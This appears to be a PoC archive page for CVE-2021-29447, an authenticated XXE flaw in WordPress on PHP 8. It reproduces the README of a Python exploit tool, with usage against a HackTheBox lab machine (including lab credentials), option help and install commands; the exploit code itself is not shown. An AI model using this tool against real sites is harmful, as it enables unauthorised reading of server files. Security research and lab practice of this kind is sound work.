Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-29447 PoC — WordPress Authenticated XXE attack when installation is running PHP 8

Source
Associated Vulnerability
Title:WordPress Authenticated XXE attack when installation is running PHP 8 (CVE-2021-29447)
Description:Wordpress is an open source CMS. A user with the ability to upload files (like an Author) can exploit an XML parsing issue in the Media Library leading to XXE attacks. This requires WordPress installation to be using PHP 8. Access to internal files is possible in a successful XXE attack. This has been patched in WordPress version 5.7.1, along with the older affected versions via a minor release. We strongly recommend you keep auto-updates enabled.
Description
CVE-2021-29447 - Authenticated XXE Injection - WordPress < 5.7.1 & PHP > 8 
Readme
# CVE-2021-29447

POC to exploit WordPress 5.6-5.7 (PHP 8+) Authenticated XXE Injection. More about this CVE [here](https://www.sonarsource.com/blog/wordpress-xxe-security-vulnerability/)

## Example

Example usage against HackTheBox's MetaTwo machine, which hosts a WordPress website with Media Library vulnerable to XXE Injection.

```bash
python lfi.py -u manager -p partylikearockstar -t metapress.htb -lh 10.10.XX.XX -lp 8081 -w file_wordlist
```

[![asciicast](https://asciinema.org/a/wqBueScWdUnuG4HzHbYPuOThI.svg)](https://asciinema.org/a/wqBueScWdUnuG4HzHbYPuOThI)

## Usage

```bash
usage: lfi.py [-h] -u USERNAME -p PASSWORD -t TARGET -lh LHOST [-lp LPORT] [-w WORDLIST] [-i] [-v] [-s]
              [filenames ...]

positional arguments:
  filenames             Filenames to fetch

options:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        Username to user in authenticated upload
  -p PASSWORD, --password PASSWORD
                        Password to user in authenticated upload
  -t TARGET, --target TARGET
                        Remote host to target, e.g. "metapress.htb"
  -lh LHOST, --host LHOST
                        Hostname on which server is bound (default "")
  -lp LPORT, --port LPORT
                        Listening port (default "8080")
  -w WORDLIST, --wordlist WORDLIST
                        Wordlist of filenames to be fetched
  -i, --interactive     Runs in interactive mode
  -v, --verbose         Enables verbose mode
  -s, --skip            Skip php server spin-up (MAKE SURE IT IS ALREADY RUNNING!)
```

## Installation

**Make sure you have php installed.**

```bash
git clone https://github.com/viardant/CVE-2021-29447
cd CVE-2021-29447
pip install -r requirements.txt
```
File Snapshot

[4.0K] /data/pocs/dbf0f754cbfd94c3ef9b1854d249a5b7ae3f5231 ├── [ 434] grab.php ├── [ 11K] lfi.py ├── [ 34K] LICENSE ├── [1.7K] README.md └── [ 18] requirements.txt 0 directories, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →